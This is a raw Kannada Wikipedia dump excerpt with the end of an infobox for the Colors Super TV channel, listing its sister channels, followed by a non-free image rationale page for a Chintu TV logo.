2016|slogan="ಹೊಸ ಚಾನೆಲ್; ಸೂಪರ್ ಚಾನೆಲ್"|logofile=|picture format=576ಐ (ಎಸ್ಡಿ ಟಿವಿ)|web={{Official website|http://colorssuper.co.in/}}|sister names=[[ಕಲರ್ಸ್ ಕನ್ನಡ]]<br />[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು <nowiki>}}}}</nowiki>}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Facebook|ColorsSuper}} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] 40au0ggawe23tg4xb7c5ddqibjvm59f ಚಿತ್ರ:Chintu tv chanel.png 6 144850 1116618 2022-08-24T11:10:45Z Ishqyk 76644 {| class="wikitable" |+ ! colspan="2" |ಉಚಿತವಲ್ಲದ ಬಳಕೆಯ ತಾರ್ಕಿಕ ಶೀರ್ಷಿಕೆ-ಕಾರ್ಡ್ |- |ಲೇಖನ |[[ಚಿಂಟು ಟಿವಿ]] |- |ಮಾಲೀಕ |ಸನ್ ನೆಟ್ವರ್ಕ್ |- |ಮೂಲ |ಸನ್ ಗ್ರೂಪ್ |- |ಬಳಸಲಾಗುತ್ತದೆ |[[ಚಿಂಟು ಟಿವಿ]] |} ==ಪರವಾನಗಿ:== {{non-free television screenshot|image has rationale=yes}} [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] wikitext text/x-wiki == ಸಾರಾಂಶ == {| class="wikitable" |+ ! colspan="2" |ಉಚಿತವಲ್ಲದ ಬಳಕೆಯ ತಾರ್ಕಿಕ ಶೀರ್ಷಿಕೆ-ಕಾರ್ಡ್ |- |ಲೇಖನ |[[ಚಿಂಟು ಟಿವಿ]] |- |ಮಾಲೀಕ |ಸನ್ ನೆಟ್ವರ್ಕ್ |- |ಮೂಲ |ಸನ್ ಗ್ರೂಪ್ |- |ಬಳಸಲಾಗುತ್ತದೆ |[[ಚಿಂಟು ಟಿವಿ]] |} ==ಪರವಾನಗಿ:== {{non-free television screenshot|image has rationale=yes}} [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] 4br4omeoa0oy4lxcwrkvgu20nk3b62v